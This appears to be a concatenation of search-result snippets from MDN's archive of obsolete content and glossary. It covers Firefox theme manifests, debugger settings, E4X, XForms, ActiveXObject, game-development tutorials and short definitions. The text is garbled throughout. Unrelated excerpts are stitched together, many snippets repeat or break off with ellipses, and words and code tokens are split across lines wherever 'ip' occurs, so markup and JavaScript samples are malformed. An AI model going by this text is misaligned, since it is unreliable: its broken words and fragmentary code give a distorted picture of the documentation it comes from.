iption about="urn:mozilla:skin:my_theme" chrome:displayname="my theme" chrome:accesskey="n" chrome:author="" chrome:authorurl="" chrome:descr
iption="" chrome:name="my_theme" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:my_theme:packages"> <rdf:li resource="urn:mozilla:skin:my_theme:browser"/> ...
...zilla:skin:my_theme:packages"> <rdf:li resource="urn:mozilla:skin:my_theme:browser"/> <rdf:li resource="urn:mozilla:skin:my_theme:communicator"/> <rdf:li resource="urn:mozilla:skin:my_theme:global"/> <rdf:li resource="urn:mozilla:skin:my_theme:mozapps"/> <rdf:li resource="urn:mozilla:skin:my_theme:help"/> </rdf:seq> </chrome:packages> </rdf:descr
iption> <!-- version information. state that we work only with major version 1 of this package. --> <rdf:descr
iption chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:browser"/> <rdf:descr
iption chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:communicator"/> <rdf:descr
iption chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:global"/> <rdf:descr
iption chrome:skinv...
... version 1 of this package. ...
Theme changes in Firefox 3 - Archive of obsolete content
xul file and the theme's corresponding css file that you might need to update. filename css file details changes to the default theme the table below lists changes made in the default theme for firefox 3; you can use this information as a starting point for figuring out the changes you need to make. all file list all platforms file descr
iption of change browser/themes/*/browser/browser.css the width of the drag and drop indicator is no longer calculated during the drag (tabbrowser.xml). instead a '-moz-margin-start' property must be added to .tab-drop-indicator-bar, with a value that is half of the width of the indicator image. also, the visibility of the indicator is now controlled by setting collapsed in tabbrowser.xm...
...ml). instead a '-moz-margin-start' property must be added to .tab-drop-indicator-bar, with a value that is half of the width of the indicator image. also, the visibility of the indicator is now controlled by setting collapsed in tabbrowser.xml. as a result, the 'display' property should be removed from .tab-drop-indicator-bar (including for dragging="true"). mac os x file descr
iption of change browser/themes/pinstr
ipe/browser/tabbrowser/tabdragindicator.png removed superfluous blank pixels from the edges, so that the image is smaller. may or may not affect other mac themes that use it. browser/themes/pinstr
ipe/browser/browser.css .tabbrowser-tab[first-tab="true"] > .tab-image-left no longer has a margin-left. instead .tabs-left now displayed and gi...
....png removed superfluous blank pixels from the edges, so that the image is smaller. may or may not affect other mac themes that use it. browser/themes/pinstr
ipe/browser/browser.css .tabbrowser-tab[first-tab="true"] > .tab-image-left no longer has a margin-left. instead .tabs-left now displayed and given the same width as the former margin-left. it was already done this way in winstr
ipe. changes in browser --- changes in global all platforms the yellow background for the location bar has been deprecated; instead, themes should style the new #identity-box element depending on its verifieddomain/verifiedidentity class. the go button is now located inside the location bar, so the image for it (chrome://browser/skin/go-arrow.png) needs to be smaller. the rule that's nee...
Settings - Archive of obsolete content
the debugger has its own settings menu, which you can access from an icon in the toolbar: each setting is a simple on/off switch: auto prettify minified sources with this option enabled, the debugger will automatically detect minified js files and pretty-print them. pause on exceptions when this option is enabled, execution of the scr
ipt will automatically pause whenever a javascr
ipt exception is thrown. ignore caught exceptions if this option is set (it is set by default) and "pause on exceptions" is set, then execution will pause on an exception only if that exception is not caught. this is usually the behavior you want. you don't generally want to pause execution when an exception that is thrown is caught, since that generally indi...
...ior you want. you don't generally want to pause execution when an exception that is thrown is caught, since that generally indicates that your program is handling it properly. show panes on startup when this option is enabled, the debugger's variables pane is visible when you first start the debugger. show only enumerable properties do not display non-enumerable javascr
ipt properties. show variables filter box enabling this option adds a "filter variables" search box to the variables pane, so that you can filter the displayed list of variables. show original sources enabling this option will make the debugger use source maps, if they are available, to display the original source for code which has been combined, minified, or even compiled t...
...ies. show variables filter box enabling this option adds a "filter variables" search box to the variables pane, so that you can filter the displayed list of variables. show original sources enabling this option will make the debugger use source maps, if they are available, to display the original source for code which has been combined, minified, or even compiled to javascr
ipt from a language like coffeescr
ipt. defaults to true. automatically black box minified sources new in firefox 33. automatically black box sources whose url ends with ".min.js". defaults to true. ...
Using Firebug and jQuery (Screencast) - Archive of obsolete content
note: this screencast is originally from: http://ejohn.org/blog/hacking-digg-w...ug-and-jquery/ this is an adaptation of a presentation that i gave while at mashup camp boston. we're going to take an introductory look at the firebug firefox extension and the jquery javascr
ipt library - combining the two to build a reusable bookmarklet that can man
ipulate digg posts and comments. click the video link to begin (14:39 minutes long, 59mb): http://developer.mozilla.org/presentations/screencasts/jresig-digg-firebug-jquery.mp4 download: right-click this link and select save as... in order to download a copy of your own. (59mb) bookmarklets: in the presentation, i refer to a bookmarklet that you can use to introduce jquery into a web page. drag these bookmarklets found on this page...
...y.mp4 download: right-click this link and select save as... in order to download a copy of your own. (59mb) bookmarklets: in the presentation, i refer to a bookmarklet that you can use to introduce jquery into a web page. drag these bookmarklets found on this page into the bookmarks toolbar of your browser, in order to use them. related links: firebug firefox extension jquery javascr
ipt library jquery selector documentation digg learning jquery: jquerify bookmarklet if you wish to use greasemonkey instead of a bookmarklet, then by all means, please do so. you can use the ability to quickly analyze and inspect a page that firebug and jquery affords you, using the results to build a greasemonkey scr
ipt, instead of a simple bookmarklet. i only really intended this to be a qui...
...let if you wish to use greasemonkey instead of a bookmarklet, then by all means, please do so. you can use the ability to quickly analyze and inspect a page that firebug and jquery affords you, using the results to build a greasemonkey scr
ipt, instead of a simple bookmarklet. i only really intended this to be a quick introduction to the subject, so please feel free to explore it more! more t
ips: here are some more jquery selectors that you can use on a digg post: $("li.c-bury > div").remove(); - remove all buried comments, but none of the direct replies. $("div.c-body").show(); - show all comments, even ones that've been buried. ...
-moz-window-shadow - Archive of obsolete content
tapplies toall elements that create native windows, e.g. <window>, <panel>inheritednocomputed valueas specifiedanimation typediscrete syntax the -moz-window-shadow property is specified as one of the keyword values listed below. ...
...nel>inheritednocomputed valueas specifiedanimation typediscrete syntax the -moz-window-shadow property is specified as one of the keyword values listed below. values default the window will have a shadow with the default window shadow style. ...
...s default the window will have a shadow with the default window shadow style. menu the window will have the shadow style that's appropriate for menus. toolt
ip the window will have the shadow style that's appropriate for toolt
ips. ...
-ms-scrollbar-base-color - Archive of obsolete content
</div> </body> the following image shows the result. note that scrollb...
... </div> </body> the following image shows the result. note that scrollbar-base-color sets the scroll bar fac...
...lor: aqua; scrollbar-arrow-color: blue; border-color: blue; } .bisquescroll { scrollbar-base-color: bisque; scrollbar-arrow-color: red; border-color: red; } <body> <div class="aquascroll"> lorem
ipsum dolor sit amet, consectetuer ad
ipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. </div> <div class="bisquescroll"> lorem
ipsum dolor sit amet, consectetuer ad
ipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. </div> </body> the following image shows the result. note that scrollbar-base-color sets the scroll bar face color and highlight color to different shades of the same base color. specifications not part of any specification. ...
-ms-scrollbar-highlight-color - Archive of obsolete content
</div> </body> this image shows the result: specifications not part of...
... </div> </body> this image shows the result: specifications not part of any specification. ...
...; border-color: blue; } .redscroll { -ms-scrollbar-highlight-color: bisque; -ms-scrollbar-face-color: red; -ms-scrollbar-arrow-color: red; border-color: red; } <body> <div class="bluescroll"> lorem
ipsum dolor sit amet, consectetuer ad
ipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. </div> <div class="redscroll"> lorem
ipsum dolor sit amet, consectetuer ad
ipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. </div> </body> this image shows the result: specifications not part of any specification. ...
-ms-scrollbar-track-color - Archive of obsolete content
</div> </body> the following image shows the result. ...
... </div> </body> the following image shows the result. ...
... border-color: blue; } .redscroll { -ms-scrollbar-highlight-color: bisque; -ms-scrollbar-face-color: red; -ms-scrollbar-arrow-color: red; border-color: red; } <body> <div class="bluescroll"> lorem
ipsum dolor sit amet, consectetuer ad
ipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. </div> <div class="redscroll"> lorem
ipsum dolor sit amet, consectetuer ad
ipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. </div> </body> the following image shows the result. ...
E4X - Archive of obsolete content
obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. warning: e4x is obsolete. it has been disabled by default for webpages (content) in firefox 17, disabled by default for chrome in firefox 20, and has been removed in firefox 21. use domparser/domserializer or a non-native jxon algorithm instead. ecmascr
ipt for xml (e4x) is a programming language extension that adds native xml support to javascr
ipt. it does this by providing access to the xml document in a form that feels natural for ecmascr
ipt programmers. the goal is to provide an alternative, simpler syntax for accessing xml documents than via dom interfaces. a valid alternative to e4x is a non-native jxon algorithm. e4x is standardized by ecma...
...that feels natural for ecmascr
ipt programmers. the goal is to provide an alternative, simpler syntax for accessing xml documents than via dom interfaces. a valid alternative to e4x is a non-native jxon algorithm. e4x is standardized by ecma international in ecma-357 standard (currently in its second edition, december 2005). e4x is implemented (at least partially) in spidermonkey (gecko's javascr
ipt engine) and in rhino (javascr
ipt engine written in java). note: in gecko 1.8 based browsers such as firefox 1.5, e4x is already partially enabled for web page authors. to fully enable e4x, the <scr
ipt> element needs to have the mime type "text/javascr
ipt;e4x=1" (i.e., have an attribute of the form type="text/javascr
ipt;e4x=1"). the difference between the two modes is that without the "e4x=1" mi...
... someone verify the above known bugs and limitations it is not currently possible to access a dom object through e4x (bug 270553). e4x doesn't support parsing xml declaration. <?xml version=...?>) (see bug 336551). ...
Introduction - Archive of obsolete content
<< previousnext >> basic syntax with e4x enabled, basic xml elements are valid syntax for variables. for instance var element = <foo/>; is perfectly valid in an e4x enabled browser. variable declarations are not limited to one element, and as with all javascr
ipt, can span mult
iple lines. var element2 = <foo> <bar/> </foo>; additionally, you can specify all of the normal attributes on elements that you would normally include in an xml document. var element3 = <foo baz="1"/>; man
ipulating elements the goal of e4x was to provide an easier way for javascr
ipt programmers to man
ipulate an xml document, without going through the dom interfaces. however, many of the same functions that you would use in the dom can be used in e4x. the most basic ...
...this is done with brace ({}) notation. var a = 2; var b = <foo>{a}</foo>; creates an xml document that reads <foo>2</foo>. ...
...he same functions that you would use in the dom can be used in e4x. the most basic is appendchild var element1 = <foo/>; var element2 = <bar/>; element1.appendchild(element2); which produces exactly the xml document you'd expect <foo> <bar/> </foo> javascr
ipt variables the true power of e4x only begins to come to light, however, when the xml document can interact closely with other javascr
ipt. with special syntax, we can assign the value of a javascr
ipt variable to be the value of an e4x element. this is done with brace ({}) notation. var a = 2; var b = <foo>{a}</foo>; creates an xml document that reads <foo>2</foo>. you can also use brace notation on attributes of elements (their names or values). for example, var a = 2; var b = 'bar'; var c = <foo {b}={a}>"hi"</foo>; creates...
Array comprehensions - Archive of obsolete content
ox 58. for future-facing usages, consider using array.prototype.map, array.prototype.filter, arrow functions, and spread syntax. obsolete since gecko 58 (firefox 58 / thunderbird 58 / seamonkey 2.55)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. ...
...emoved at any time. try to avoid using it. the array comprehension syntax was a javascr
ipt expression which allowed you to quickly assemble a new array based on an existing one. however, it has been removed from the standard and the firefox implementation. do not use it! syntax [for (x of iterable) x] [for (x of iterable) if (condition) x] [for (x of iterable) for (y of iterable) x + y] descr
iption inside array comprehensions, these two kinds of components are allowed: for...of and if the for-of iteration is always the first component. mult
iple for-of iterations or if statements are allowed. array comprehension was previously proposed to be standardized in ecmascr
ipt 2016, it provide a useful shortcut for constructing a new array based on the contents of another. comprehensions ...
...please see older revisions of es2015 for specification semantics. ...
ActiveXObject - Archive of obsolete content
of object. for example, a word-processing application may provide an application object, a document object, and a toolbar object. you may be able to identify servername.typename values on a host pc in the hkey_classes_root registry key. ...
...ocessing application may provide an application object, a document object, and a toolbar object. you may be able to identify servername.typename values on a host pc in the hkey_classes_root registry key. ...
...excel.application excel.chart scr
ipting.filesystemobject wscr
ipt.shell word.document important: activex objects may present security issues. to use the activexobject, you may need to adjust security settings in internet explorer for the relevant security zone. for example, for the local intranet zone, you typically need to change a custom setting to "initialize and scr
ipt activex controls not marked as safe for scr
ipting." to identify members of an automation object that you can use in your code, you may need to use a com object browser, such as the ole/com object viewer, if no reference documentation is available for the automation object. to create an automation object, assign the new activexobject to an object variable: var excelapp = new activexobject("ex...
for each...in - Archive of obsolete content
the for each...in statement iterates a specified variable over all values of object's properties. for each distinct property, a specified statement is executed. ...
...r each distinct property, a specified statement is executed. syntax for each (variable in object) { statement } variable variable to iterate over property values, optionally declared with the var keyword. this variable is local to the function, not to the loop. object object for which the properties are iterated. statement a statement to execute for each property. to execute mult
iple statements within the loop, use a block statement ({ ... }) to group those statements. descr
iption some built-in properties are not iterated over. these include all built-in methods of objects, e.g. string's indexof method. however, all user-defined properties are iterated over. examples using for each...in warning: never use a loop like this on arrays. only use it on objects. see for...i...
...block statement ({ ... }) to group those statements. descr
iption some built-in properties are not iterated over. these include all built-in methods of objects, e.g. string's indexof method. however, all user-defined properties are iterated over. examples using for each...in warning: never use a loop like this on arrays. only use it on objects. see for...in for more details. the following sn
ippet iterates over an object's properties, calculating their sum: var sum = 0; var obj = {prop1: 5, prop2: 13, prop3: 8}; for each (var item in obj) { sum += item; } console.log(sum); // logs "26", which is 5+13+8 specifications not part of any standard. ...
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
own to the required time travel. i dove right in and decided to have some fun with with the redesign, which is why i rather like the final result. to share the joy, i herein present a look into just one piece of the redesign, and how i accomplished certain effects using simple html and some css. marking up the fish in the old fish cam page, there was a table that contained the pictures and descr
iptions of the fish. well, i couldn't letthat continue--fish are flexible, sl
ippery things, and tables are very much not. so i decided to break up the content so that there is a self-contained bit of markup for each fish, and then get down to styling. here's what one of those bits looks like once all the css has been applied. in order to make the fish cam page as agile as the fish themselves, it ...
...at the end of it, there were a series of div elements that contained a picture of the fish, the name of the fish, and one or more paragraphs of text about the fish. here's a typical (and short) example. ...
...src="thumb_clown_trigger.jpg" alt="clown trigger" border="0" width="150" height="115"> <h3>clown trigger</h3> <p> our clown trigger is a bold little fish, though for a few weeks he slept a lot and didn't look well in general. he's much better now. </p> </div> basically, that's all that was needed. the reason for the class value being card is that the original idea was to style each fish's descr
iption like a trading card. although this design approach was abandoned fairly quickly, the class name stuck, kind of like a barnacle. giving the fish some style with the markup all set, it was time to style. the idea was to have the fish listed in a side-by-side arrangement, sort of like a two-column table, only without the table. this was most easily accomplished by floating the div elements the...
Window.importDialog() - Archive of obsolete content
rily appropriate, the firefox mobile team designed the importdialog() method to replace window.opendialog(). instead of opening a new window, it merges the specified xul dialog into the main window. syntax newdialog = importdialog(aparent, asrc, aarguments) newdialog the opened window aparent the dialog's parent; can be null. asrc the chrome url of the xul dialog. ...
...so be careful. ...
...ect containing data to pass to the dialog. example var dialog = importdialog(null, "chrome://myextension/content/dialog.xul", myobject); notes the xul passed to importdialog() is very similar to xul passed to window.opendialog(), with some limitations and caveats: only <dialog> top level elements are permitted. scr
ipts are loaded via an attribute on the <dialog> element, not via the <scr
ipt> tag. the xul is merged into the existing window, almost like a xul overlay. because of this, element id and javascr
ipt conflicts are possible, just like overlays. so be careful. specification this is not part of any specification. ...
Building Mozilla XForms - Archive of obsolete content
0.8.6 firefox 4 gecko 2.0 mercurial, repositories mozilla-central xforms schema-validation mostly works upcoming 0.8.7 release if you have your first working firefox build, you can go on with building the xforms extension. firefox 3.5 and up: get the source code if you want to build xforms for firefox up to 3.0, you already have the required source code, it's part of your cvs checkout. sk
ip to the next section. starting with firefox 3.5, you need to do two more mercurial checkouts: cd extensions hg clone http://hg.mozilla.org/xforms hg clone http://hg.mozilla.org/schema-validation that's it, you now have everything you need to get started. configure your build: the .mozconfig file mozilla uses a file called .mozconfig in your home directory to store the build configuration. for xfor...
...-f client.mk build after the build finishes, you'll have a xforms.xpi in obj-*/dist/xpi-stage/xforms.xpi. congratulations, you've successfully built your first mozilla xforms extension! the built xpi file will only install on a nightly snapshot from the same day or your self-built firefox version. if you are sure that older or newer firefox versions are compatible with your extension, you can unz
ip the xpi file (it's a regular z
ip file), edit the install.rdf and change the minversion and maxversion entries. the following scheme usually works (replace {geckoversion} with the used gecko/toolkit version): <em:minversion>{geckoversion}.0</em:minversion> <em:maxversion>{geckoversion}.*</em:maxversion> for example, for the firefox 3.5 version of the extension, it might look like that: <em:minver...
...e minversion and maxversion entries. the following scheme usually works (replace {geckoversion} with the used gecko/toolkit version): <em:minversion>{geckoversion}.0</em:minversion> <em:maxversion>{geckoversion}.*</em:maxversion> for example, for the firefox 3.5 version of the extension, it might look like that: <em:minversion>1.9.1.0</em:minversion> <em:maxversion>1.9.1.*</em:maxversion> then z
ip the files again (or use an editor like vim that can edit files inside a z
ip archive). ...
Troubleshooting XForms Forms - Archive of obsolete content
troduction the idea of this page is to collect some solutions to some of the common errors typically made when creating an xforms form. always do this first make sure that you are running the latest release of the extension. always run your form through the xforms validator. it checks your form for a lot of errors. it is not perfect, but it can spot a lot of errors. always check the javascr
ipt console (tools, javascr
ipt console) for errors. if you get errors there, do not expect your form to work. troubleshooting check the file type is the page parsed as an xhtml document? right-click on a blank spot on the page, and select view page info. the type field should say application/xhtml+xml. anything else, and something is wrong. if your are loading your file directly from the filesy...
...e> the xhtml modularization does not allow this. you either have to use css tables or repeat attributes, which at the moment are not working properly in the firefox xforms extension :( should be fixed by bug 306247 and bug 280368 respectively. submission not working if you are trying to replace="instance" make sure that the document being returned is xml. there will be an error on the javascr
ipt console if it is not. on most webservers you cannot use <submission method="post" action="file.xml"> to a static xml file. you need to use method="get", or <instance src="file.xml"> if the instance is always needed. if you are trying to submit to a different domain than the form is loaded from, make sure that you have allowed cross-domain submission for that specific "form domain". read here...
...st" action="file.xml"> to a static xml file. you need to use method="get", or <instance src="file.xml"> if the instance is always needed. if you are trying to submit to a different domain than the form is loaded from, make sure that you have allowed cross-domain submission for that specific "form domain". read here for more information. conflicts with other plug-ins if you are using the noscr
ipt plugin you may notice that your put and/or post requests are being converted to get requests. in order to fix this, go to the noscr
ipt options dialog (right-click on the 's' icon on the status bar and select 'options...') and select the advanced tab. the xss sub-tab has the following options: turn cross-site post requests into data-less get requests anti-xss protection exceptions you can te...
Implementation Status - Archive of obsolete content
rted 10.8 dispatch supported 10.9 rebuild partial is dispatching events instead of calling directly 332231; 10.10 recalculate partial is dispatching events instead of calling directly. recalculate won't properly mark nodes as dirty if they were changed using javascr
ipt interfaces. 332231; 349805; 10.11 revalidate partial is dispatching events instead of calling directly 332231; 10.12 refresh partial is dispatching events instead of calling directly 332231; 10.13 reset supported 10.14 load partial no...
... 11.8 header unsupported 11.8.1 name unsupported 11.8.2 value unsupported 11.9 submission options supported 11.9.1 the get submission method supported 11.9.2 the post, mult
ipart-post, form-data-post, and urlencoded-post submission methods supported 11.9.3 the put submission method supported 11.9.4 the delete submission method unsupported 11.9.5 serialization as application/xml supported 11.9.6 s...
...post, and urlencoded-post submission methods supported 11.9.3 the put submission method supported 11.9.4 the delete submission method unsupported 11.9.5 serialization as application/xml supported 11.9.6 serialization as mult
ipart/related partial 330557; 11.9.7 serialization as mult
ipart/form-data supported 11.9.8 serialization as application/x-www-form-urlencoded supported 11.10 replacing data with the submission response partial @replace with value of 'text' not supported ...
XForms - Archive of obsolete content
w3c standards like xml schema, xpath, and xml events, xforms tried to address some of the limitations of the current html forms model. however, xforms never gained traction and is now considered obsolete. other strengths that xforms brings to the table is the separation of data from presentation, strong data typing, the ability to submit xml data to servers instead of name/value pairs, and a descr
iptive way to author forms so that they can be displayed by a wide variety of devices. xforms is a w3c specification. xforms tutorial and cookbook xforms in wikibook format - over 50 examples tested with firefox. xforms support can be added to firefox and seamonkey by installing the mozilla xforms extension. this extension, while supporting a significant subset of the xforms 1.0 and 1.1 candidate...
... has been done for firefox 3.6 and is available for download on addons.mozilla.org. for more details about the future of the mozilla xforms extension see this blog post. documentation implementation status implementation status of the mozilla xforms extension building get started with building your own xforms extensions from source. troubleshooting t
ips for xforms a small collection of t
ips for troubleshooting common problems with xforms forms. mozilla xforms specials explains where, and how, mozilla xforms deviates or extends the xforms 1.0 specification. xforms custom controls custom controls lets the form author "skin" each xforms control through xbl, and create f.x. an svg input control. ...
...or troubleshooting common problems with xforms forms. mozilla xforms specials explains where, and how, mozilla xforms deviates or extends the xforms 1.0 specification. xforms custom controls custom controls lets the form author "skin" each xforms control through xbl, and create f.x. an svg input control. xforms user preferences a descr
iption of the about:config variables that xforms uses. xforms api reference xforms interfaces documentation. xforms ui elements reference xforms user interface elements documentation. view all... community view mozilla forums... mailing list newsgroup rss feed #xforms channel on irc.mozilla.org ...
Game monetization - Game development
on the quality of the game, it's genre, its publisher, and many others, but usually it will be something between 2000 and 5000 usd. once you've sold an exclusive license you can forget about promoting that particular game as you won't earn more, so go into such a deal only if you're sure it's profitable enough. non-exclusive licenses this approach is less strict -- you can sell a license to mult
iple publishers. this is the most popular approach as with every new publisher (and they are constantly showing up) you can sell your games on non-exclusive terms. remember that with this license the publisher can't redistribute it further -- it's often called a site-locked deal as they buy the right to publish the game on their own given portal. the usual cost of a non-exclusive license is around 5...
...this is the most popular approach as with every new publisher (and they are constantly showing up) you can sell your games on non-exclusive terms. remember that with this license the publisher can't redistribute it further -- it's often called a site-locked deal as they buy the right to publish the game on their own given portal. the usual cost of a non-exclusive license is around 500 usd. subscr
iptions there's also an option to get a passive, monthly revenue via a subscr
iption deal. instead of getting a one-time payment you can get a small amount of money per game, per month -- it can be something around 20-50 usd per month, per game. it's normally up to you if you want to get all the money in a lump sum or get it per month. remember that it can be cancelled, so it's not an indefinitely w...
...ings are, the better your business stability. donations when all else fails you can try putting a donate button on your game's page and asking for support from the community. sometimes it works, but only if the player knows you and feels that it will help you in your situation. that's why carefully managing your community is so important. it worked with the js13kgames competition -- every partic
ipant got a free t-shirt, and some even gave back a few bucks to help keep it going in years to come. summary there are many ways to earn money -- everything that applies to the "normal" aaa gaming world can be, more or less, applied to casual html5 games. you might however also focus on selling licenses, doing branding, or earning on a revenue share basis from the advertisements. it's totally up ...
Building up a basic demo with PlayCanvas - Game development
tt and dave evans. it is open sourced on github, with an editor available online and good documentation. the online editor is free for public projects with up to two team members, but there are also paid plans if you'd like to run a commercial private project with more developers. games and demos playcanvas has a few well-known demos published that showcase its possibilities. tanx is a mult
iplayer tank game where you can drive your tank around, shooting at other players as you go. swooop is a flying game where you pilot your plane around a magical island, collecting jewels and fuel as you go. visualizations like the star lord and bmw i8 also take advantage of the engine and showcase what's possible. note: check out the list of featured demos to find more examples. engine vs e...
...you go. swooop is a flying game where you pilot your plane around a magical island, collecting jewels and fuel as you go. visualizations like the star lord and bmw i8 also take advantage of the engine and showcase what's possible. note: check out the list of featured demos to find more examples. engine vs editor the engine itself can be used as a standard library by including its javascr
ipt file directly in your html, so you can start coding right away; in addition the playcanvas toolset comes with an online editor that you can use to drag and drop components onto the scene -- a great way to create games and other apps requiring scenes if you're more of a designer than a coder. those approaches are different but work equally well regarding achieving end goals. playcanvas engine b...
... drag and drop components onto the scene -- a great way to create games and other apps requiring scenes if you're more of a designer than a coder. those approaches are different but work equally well regarding achieving end goals. playcanvas engine built for modern browsers, playcanvas is a fully-featured 3d game engine with resource loading, an entity and component system, advanced graphics man
ipulation, collision and physics engine (built with ammo.js), audio, and facilities to handle control inputs from various devices (including gamepads). that's quite an impressive list of features -- let's see some in action, check out the building up a basic demo with playcanvas engine for details. playcanvas editor instead of coding everything from the beginning you can also use the online editor...
Building up a basic demo with Three.js - Game development
test minimized three.js library inside your directory. open the three.js documentation in a separate tab -- it is useful to refer to. html structure here's the html structure we will use: <!doctype html> <html> <head> <meta charset="utf-8"> <title>mdn games: three.js demo</title> <style> body { margin: 0; padding: 0; } canvas { width: 100%; height: 100%; } </style> </head> <body> <scr
ipt src="three.min.js"></scr
ipt> <scr
ipt> var width = window.innerwidth; var height = window.innerheight; /* all our javascr
ipt code goes here */ </scr
ipt> </body> </html> it contains some basic information like the document <title>, and some css to set the width and height of the <canvas> element, that three.js will insert on the page to 100% to fill the entire available viewport space. the fi...
...there are two helper variables already included, which store the window's width and height. before reading further, copy this code to a new text file, and save it in your working directory as index.html. ...
...re creating a new webgl renderer, setting its size to fit the whole available space on the screen, and appending the dom structure to the page. you might have noticed the antialias parameter in the first line -- this renders the edges of shapes more smoothly. the setclearcolor() method sets our background to a light gray colour, instead of the default black one. add this code into our second <scr
ipt> element, just below the javascr
ipt comment. scene a scene is the place where everything happens. when creating new objects in the demo, we add them all inside the scene to become visible on the screen. in three.js, the scene is represented by a scene object. let's create it, by adding the following line below our previous lines: var scene = new three.scene(); later, we will be using the .a...
Build the brick field - Game development
<< previousnext >> this is the 9th step out of 16 of the gamedev phaser tutorial. you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson09.html. building the brick field is a little bit more complicated than adding a single object to the screen, although it's still easier with phaser than in pure javascr
ipt. let's explore how to create a group of bricks and print them on screen using a loop. defining new variables first, let's define the needed variables -- add the following below your previous variable definitions: var bricks; var newbrick; var brickinfo; the bricks variable will be used to create a group, newbrick will be a new object added to the group on every iteration of the loop, and brickinfo wi...
... /img directory. drawing the bricks we will place all the code for drawing the bricks inside an initbricks function to keep it separated from the rest of the code. add a call to initbricks at the end of the create() function: function create(){ // ... initbricks(); } now onto the function itself. add the initbricks() function at the end of our games code, just before the closing </scr
ipt> tag, as shown below. to begin with we've included the brickinfo object, as this will come in handy very soon: function initbricks() { brickinfo = { width: 50, height: 20, count: { row: 3, col: 7 }, offset: { top: 50, left: 60 }, padding: 10 }; } this brickinfo object will hold all...
...l the bricks in one place, at coordinates (0,0). what we need to do is draw each brick at its own x and y position. update the brickx and bricky lines as follows: var brickx = (c*(brickinfo.width+brickinfo.padding))+brickinfo.offset.left; var bricky = (r*(brickinfo.height+brickinfo.padding))+brickinfo.offset.top; each brickx position is worked out as brickinfo.width plus brickinfo.padding, mult
iplied by the column number, c, plus the brickinfo.offset.left; the logic for the bricky is identical except that it uses the values for row number, r, brickinfo.height, and brickinfo.offset.top. now every single brick can be placed in its correct place, with padding between each brick, and drawn at an offset from the left and top canvas edges. checking the initbricks() code here is the complete c...
Operator - MDN Web Docs Glossary: Definitions of Web-related terms
reserved syntax consisting of punctuation or alphanumeric characters that carries out built-in functionality. for example, in javascr
ipt the addition operator ("+") adds numbers together and concatenates strings, whereas the "not" operator ("!") negates an expression -- for example making a true statement return false. ...
... reserved syntax consisting of punctuation or alphanumeric characters that carries out built-in functionality. for example, in javascr
ipt the addition operator ("+") adds numbers together and concatenates strings, whereas the "not" operator ("!") negates an expression -- for example making a true statement return false. ...
...nctuation or alphanumeric characters that carries out built-in functionality. for example, in javascr
ipt the addition operator ("+") adds numbers together and concatenates strings, whereas the "not" operator ("!") negates an expression -- for example making a true statement return false. ...
Packet - MDN Web Docs Glossary: Definitions of Web-related terms
e network is congested. addresses when routing network packets it requires two network addresses the source address of the sending host, and the destination address of the receiving host. ...
...ork packets it requires two network addresses the source address of the sending host, and the destination address of the receiving host. user data - payload payload is the data that is carried on behalf of an application. ...
...e source address of the sending host, and the destination address of the receiving host. user data - payload payload is the data that is carried on behalf of an application. ...
RDF - MDN Web Docs Glossary: Definitions of Web-related terms
rdf (resource descr
iption framework) is a language developed by w3c for representing information on the world wide web, such as webpages. rdf provides a standard way of encoding resource information so that it can be exchanged in a fully automated way between applications. ...
... rdf (resource descr
iption framework) is a language developed by w3c for representing information on the world wide web, such as webpages. rdf provides a standard way of encoding resource information so that it can be exchanged in a fully automated way between applications. ...
... rdf (resource descr
iption framework) is a language developed by w3c for representing information on the world wide web, such as webpages. rdf provides a standard way of encoding resource information so that it can be exchanged in a fully automated way between applications. ...
Regular expression - MDN Web Docs Glossary: Definitions of Web-related terms
regular expressions (or regex) are rules that govern which sequences of characters come up in a search. ...
...ome up in a search. regular expressions are implemented in various languages, but the best-known implementation is the perl implementation, which has given rise to its own ecosystem of implementations called pcre (perl compatible regular expression). ...
...l implementation, which has given rise to its own ecosystem of implementations called pcre (perl compatible regular expression). on the web, javascr
ipt provides another regex implementation through the regexp object. ...
SVG - MDN Web Docs Glossary: Definitions of Web-related terms
scalable vector graphics (svg) is a 2d vector image format based on an xml syntax. the w3c began work on svg in the late 1990s, but svg only became popular when internet explorer 9 came out with svg support. all major browsers now support svg. based on an xml syntax, svg can be styled with css and made interactive using javascr
ipt. html5 now allows direct embedding of svg tags in an html document. ...
... based on an xml syntax, svg can be styled with css and made interactive using javascr
ipt. html5 now allows direct embedding of svg tags in an html document. as a vector image format, svg graphics can scale infinitely, making them invaluable in responsive design, since you can create interface elements and graphics that scale to any screen size. svg also provides a useful set of tools, such as cl
ipping, masking, filters, and animations. ...
...
ipt. html5 now allows direct embedding of svg tags in an html document. as a vector image format, svg graphics can scale infinitely, making them invaluable in responsive design, since you can create interface elements and graphics that scale to any screen size. svg also provides a useful set of tools, such as cl
ipping, masking, filters, and animations. ...
String - MDN Web Docs Glossary: Definitions of Web-related terms
in any computer programming language, a string is a sequence of characters used to represent text. in javascr
ipt, a string is one of the primitive values and the string object is a wrapper around a string primitive. ...
... in any computer programming language, a string is a sequence of characters used to represent text. in javascr
ipt, a string is one of the primitive values and the string object is a wrapper around a string primitive. ...
... in any computer programming language, a string is a sequence of characters used to represent text. in javascr
ipt, a string is one of the primitive values and the string object is a wrapper around a string primitive. ...
TCP handshake - MDN Web Docs Glossary: Definitions of Web-related terms
the three messages transmitted by tcp to negotiate and start a tcp session are nicknamed syn, syn-ack, and ack for synchronize, synchronize-acknowledgement, and acknowledge respectively. ...
...the three messages transmitted by tcp to negotiate and start a tcp session are nicknamed syn, syn-ack, and ack for synchronize, synchronize-acknowledgement, and acknowledge respectively. ...
